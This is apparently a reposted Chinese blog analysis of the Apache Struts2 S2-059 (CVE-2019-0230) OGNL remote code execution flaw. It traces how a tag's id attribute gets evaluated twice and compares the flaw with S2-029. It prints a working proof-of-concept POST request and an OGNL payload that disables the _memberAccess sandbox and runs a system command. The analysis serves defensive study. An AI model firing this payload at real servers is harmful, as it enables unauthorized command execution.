Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析

前言

2020年8月13日虽然近几年来关于ONGL方面的漏洞已经不多了,但是毕竟是经典系列的RCE漏洞,还是有必要分析的。而且对于Struts2和OGNL了解也有助于代码审计和漏洞挖掘。

首先了解一下什么是OGNL,Object Graphic Navigation Language(对象图导航语言)的缩写,Struts框架使用OGNL作为默认的表达式语言。

struts2_S2_059和S2_029漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。

漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload},且payload可控并未做安全验证。这里用到的是a标签id属性。

id属性是该action的应用id。

经过分析,受影响的标签有很多继承AbstractUITag类的标签都会受到影响,受影响的属性只有id。

环境准备

测试环境:Tomcat 8.5.56、JDK 1.8.0_131、Struts 2.3.24。

由于用Maven创建有错误没有解决,所以选用idea自带的创建struts2工程。
在这里插入图片描述
创建好工程后,在web/WEB-INF下新建lib文件夹,然后将下载的jar包复制进去即可。

jsp测试文件:在这里插入图片描述
添加字段获取传参,并且显示到页面。
在这里插入图片描述

漏洞验证

poc1:

输入普通文本:在这里插入图片描述
输入ONGL表达式%{1+4},需要url转码%25%7b%31%2b%34%7d%0a
在这里插入图片描述
poc2:

这里发送一个post包即可,构造思路在分析和总结中提到。

POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1

payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

在这里插入图片描述

漏洞分析

我们首先看一下漏洞的调用栈:在这里插入图片描述
不同版本的调用链可能会不一样,比如在较低的版本最终是在com.opensymphony.xwork2.util.TextParseUtil.class的translateVariables()方法赋值。

漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-059

根据漏洞详情可知问题出现在标签解析的时候,所以我们从org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法开始跟进,从这里开始进行jsp标签的解析。当用户发送请求的时候,doStartTag()开始执行。我们直接debug断点在解析标签的ComponentTagSupport的第一行。
在这里插入图片描述
在this.populateParams()进行赋值,所以我们跟进populateParams(),进行初始参数值的填充。

org.apache.struts2.views.jsp.ui.AnchorTag.class中存储着所有的标签对象。在这里插入图片描述
org.apache.struts2.views.jsp.ui.AbstractClosingTag.class这里是调用了父类AbstractUITag的populateParams()方法。

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()方法,触发setId()方法时会解析一次OGNL表达式。

往下跟父类的populateParams()方法。

UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.setOnclick(this.onclick);
uiBean.setOndblclick(this.ondblclick);
uiBean.setOnmousedown(this.onmousedown);
uiBean.setOnmouseup(this.onmouseup);
uiBean.setOnmouseover(this.onmouseover);
uiBean.setOnmousemove(this.onmousemove);
uiBean.setOnmouseout(this.onmouseout);
uiBean.setOnfocus(this.onfocus);
uiBean.setOnblur(this.onblur);
uiBean.setOnkeypress(this.onkeypress);
uiBean.setOnkeydown(this.onkeydown);
uiBean.setOnkeyup(this.onkeyup);
uiBean.setOnselect(this.onselect);
uiBean.setOnchange(this.onchange);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setJavascriptTooltip(this.javascriptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);

跟进其他属性到org.apache.struts2.components.UIBean.class发现AbstractUITag.class所有的属性除了id都是直接赋值。

@StrutsTagAttribute(
    description = "The template directory."
)
public void setTemplateDir(String templateDir) {
    
    
    this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
    description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
    
    
    this.tooltipIconPath = tooltipIconPath;
}

跟进setId()方法,会有一个findString()方法,这里也就解释了为什么是id属性进行解析了。
在这里插入图片描述
如果id不为空,那么给id赋值用户传入的值。接着跟入findString()。
在这里插入图片描述
跟进findValue()方法,我们来看看赋值过程。
在这里插入图片描述
如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。执行到TextParseUtil.translateVariables(’%’, expr, this.stack),然后在下面执行OGNL的表达式的解析,返回传入action的参数%{1+4},这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。

translateVariables()函数传过来的open参数的值是’%’,在截取的时候是截取的 open之后的字符串,并把传入stack.OgnlValueStack,这也是我们的poc构造的时候要写成%{*}形式的原因。

跟到com.opensymphony.xwork2.util.TextParseUtil.class中的translateVariables()方法。
在这里插入图片描述
在translateVariables()方法while循环里加了一个maxLoopCount参数来限制递归解析的次数,break跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount为1。在这里插入图片描述

while(true) {
    
    
    int start = expression.indexOf(lookupChars, pos);
    if (start == -1) {
    
    
        ++loopCount;
        start = expression.indexOf(lookupChars);
    }

    if (loopCount > maxLoopCount) {
    
        //设置maxLoopCount参数,break跳出循环。
        break;
    }

接着往下跟,跟进evaluate()方法。
在这里插入图片描述
最终在com.opensymphonny.xwork2.util:57完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。在这里插入图片描述
所以我们回到ComponentTagSupport.class类doStartTag()方法,再跟一下标签对象的start()方法,这里会进行id值的二次解析。在这里插入图片描述
这里调用了父类ClosingUIBean的start()方法
在这里插入图片描述
跟到父类org.apache.struts2.components.ClosingUIBean.class,我们看一下evaluateParams()方法
org.apache.struts2.components.UIBean.class的evaluateParams()方法中有很多属性使用findString()来获取值。

...

if (this.name != null) {
    
    
    name = this.findString(this.name);
    this.addParameter("name", name);
}

if (this.label != null) {
    
    
    this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
    
    
    this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
    
    
    this.addParameter("onmouseout", this.findString(this.onmouseout));
}

但是除了id解析两次OGNL外,算上前面的setId()解析了一次,所以这里边的其他属性都仅解析了一次。

最终跟进populateComponentHtmlId()方法
在这里插入图片描述
再跟进findStringIfAltSyntax()方法。在这里插入图片描述
在开启了altSyntax功能的前提下,可以看到这里对id属性再次进行了表达式的解析。

进入到findString()后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。在这里插入图片描述
跟进findvalue()在这里插入图片描述
org.apache.struts2.components.Component.class的findStringIfAltSyntax(),与前面一样又会执行一次TextParseUtil.translateVariables()方法。
跟进com.opensymphony.xwork2.util.TextParseUtil.class:63的return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)在这里插入图片描述
这里可以看到表达式内容已经解析执行了。

思考

如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax功能开启且需要特定标签id属性(暂未找到其他可行属性)存在表达式%{payload}且payload可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。

我们知道此次S2-059与之前的S2-029和S2-036类似都是OGNL表达式的二次解析而产生的漏洞,用S2-029的poc打不了S2-059搭建的环境。

与S2-029的区别:S2-029是标签的name属性出现了问题,由于name属性调用了org.apache.struts2.components.Component.class的completeExpressionIfAltSyntax()方法,会自动加上"%{}"这也就解释了S2-029的payload不用加%{}的原因。

protected String completeExpressionIfAltSyntax(String expr) {
    
    
    return this.altSyntax() ? "%{" + expr + "}" : expr;
}

关于受影响标签:
继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类AbstractUITag.populateParams()方法,触发setId()解析一次OGNL表达式。比如label标签(同样输入表达式%{1+4})。在这里插入图片描述
这里可以看到LabelTag.class继承了AbstractUITag.class在这里插入图片描述
关于版本问题:

官方说明影响范围是Apache Struts 2.0.0 – 2.5.20,这里测试了2.1.1和2.3.24版本。

不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本Struts 2.2.1与稍高版本Struts 2.3.24,均可以控制输入值。
关于回显:

%{
    
    #_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#[email protected]@getResponse().getWriter(),#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

OgnlContext的_memberAccess变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL表达式所使用。

所以其中poc中需要设置#_memberAccess.allowPrivateAccess=true用来授权访问private方法,#_memberAccess.allowStaticMethodAccess=true用来授权允许调用静态方法,

#_memberAccess.excludedClasses=#_memberAccess.acceptProperties用来将受限的类名设置为空

#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties用来将受限的包名设置为空

#[email protected]@getResponse().getWriter()返回HttpServletResponse实例获取respons对象并回显。

#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec(‘ls -al’).getInputStream()).useDelimiter(’\\A’),#str=#s.hasNext()?#s.next():’’,#res.print(#str),#res.close()执行系统命令,使用java.util.Scanner一个文本扫描器,执行命令ls -al,将目录下的内容回显出来。

至于为什么加%{},在之前的分析中已经提及。

参考

https://cwiki.apache.org/confluence/display/WW/S2-059
http://blog.topsec.com.cn/struts2-s2-059-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://xw.qq.com/cmsid/20200816A03TC200
https://github.com/ramoncjs3/CVE-2019-0230/commit/40f221f8fd60de78ca84aaf0365b7e4fdfd8105a
https://www.freebuf.com/vuls/229080.html

猜你喜欢

转载自blog.csdn.net/weixin_46236101/article/details/109080913